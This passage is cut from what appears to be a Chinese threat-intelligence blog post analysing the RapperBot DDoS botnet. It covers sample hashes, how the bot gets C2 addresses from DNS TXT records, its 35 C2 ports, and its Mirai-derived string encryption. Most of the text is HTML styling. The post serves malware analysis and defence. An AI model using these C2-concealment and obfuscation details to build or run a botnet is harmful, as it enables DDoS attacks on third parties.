sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">171</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">2023-12-27</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">a742f069f604aa302dbfe6ccf0bc481726e76fb6</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">listening tun0</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">rapperbot自定义字符串解密</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">114</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">2024-03-10</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">09dc5f47374410bb05cfd72bc1fa6523a35ec6dc</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">listening tun0</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">mirai字符串解码,多个解密key</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">60</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">2024-06-14</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">bc21342317fca22076406873013959ed111cf8dc</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Firmware update in progress</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">mirai字符串解码,多个解密key</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">90</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">2024-10-10</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">cc687e707919c4176ab03bdc76ab01bbaa7c0e22</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Firmware update in progress</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">mirai字符串解码,多个解密key</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">120</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">2025-03-30</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">4a0aa2b7f357164dbd49c0c6ab71a3c73e148aaa</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Firmware update in progress</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">rapperbot自定义字符串解密</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">120</span></span></p></td></tr></tbody></table><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">该家族不同变种的样本大同小异，修改内容集中在消息的数据结构、DNS-TXT记录的解析方法、字符串解码上；功能上以DDoS为主，从2024年10月开始添加了代理功能。</span></span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">C2获取</span></span></h2><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">与大多数botnet不同，rapperbot通过DNS-TXT记录中解析C2域名，目前我们发现了4种TXT记录格式：</span></span></p><table><thead><tr><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">time period</span></span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">TXT record format</span></span></p></th></tr></thead><tbody><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">2023.07 - 2024.04</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">IP,IP,IP</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">2024.06 - 2024.10</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">&lt;IP&gt;&lt;IP&gt;&lt;IP&gt;</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">2024.10 - 2025.03</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">IP|IP|IP|</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">2025.03 - now</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">EncryptedString</span></span></p></td></tr></tbody></table><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">在端口方面，早期的几个版本使用固定端口，如</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">1111</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">、</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">1024</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">、</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">9999</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">等；在最新样本中则从随机的35个端口中选择一个：</span></span></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><p><span leaf=""><span class="code-snippet__attribute">443</span>,<span class="code-snippet__number">4443</span>,<span class="code-snippet__number">993</span>,<span class="code-snippet__number">995</span>,<span class="code-snippet__number">25565</span>,<span class="code-snippet__number">1935</span>,<span class="code-snippet__number">3478</span>,<span class="code-snippet__number">27015</span>,<span class="code-snippet__number">7777</span>,<span class="code-snippet__number">3724</span>,<span class="code-snippet__number">5222</span>,<span class="code-snippet__number">7000</span>,<span class="code-snippet__number">5223</span>,<span class="code-snippet__number">4444</span>,<span class="code-snippet__number">3074</span>,<span class="code-snippet__number">27014</span>,<span class="code-snippet__number">27050</span>,<span class="code-snippet__number">3544</span>,<span class="code-snippet__number">6666</span>,<span class="code-snippet__number">2222</span>,<span class="code-snippet__number">22022</span>,<span class="code-snippet__number">2022</span>,<span class="code-snippet__number">19153</span>,<span class="code-snippet__number">3389</span>,<span class="code-snippet__number">37777</span>,<span class="code-snippet__number">6036</span>,<span class="code-snippet__number">34567</span>,<span class="code-snippet__number">5000</span>,<span class="code-snippet__number">10554</span>,<span class="code-snippet__number">554</span>,<span class="code-snippet__number">18004</span>,<span class="code-snippet__number">9000</span>,<span class="code-snippet__number">35000</span>,<span class="code-snippet__number">10001</span>,<span class="code-snippet__number">9001</span></span></p></pre></p><pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span><span leaf=""><br/></span></p></pre><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">加解密算法</span></span></h2><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h2><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">字符串解密算法</span></span></h3><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">RapperBot使用过三种加密算法，早期使用和Mirai相同的算法，后续开发出独特自定义解密算法和Mirai解密算法的加强版，并在多个版本中轮换使用：</span></span></p><ol class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">改进Mirai源代码的字符串解密方法，为每个字符串添加不同的4字节解密密钥，并且继续延用Mirai的解密函数</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000421" alt="strinit.PNG" class="rich_pages wxw-img" data-ratio="0.9767441860465116" data-type="png" data-w="516" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:20px;margin:0px;padding:0px;vertical-align:middle;" src="https://wechat2rss.xlab.app/img-proxy/?k=d583d1a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKKiaZlibURy72M0mH7eZjrL3AfWmZuCiaWJf9hR06awCRpHMnluImre4bg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang 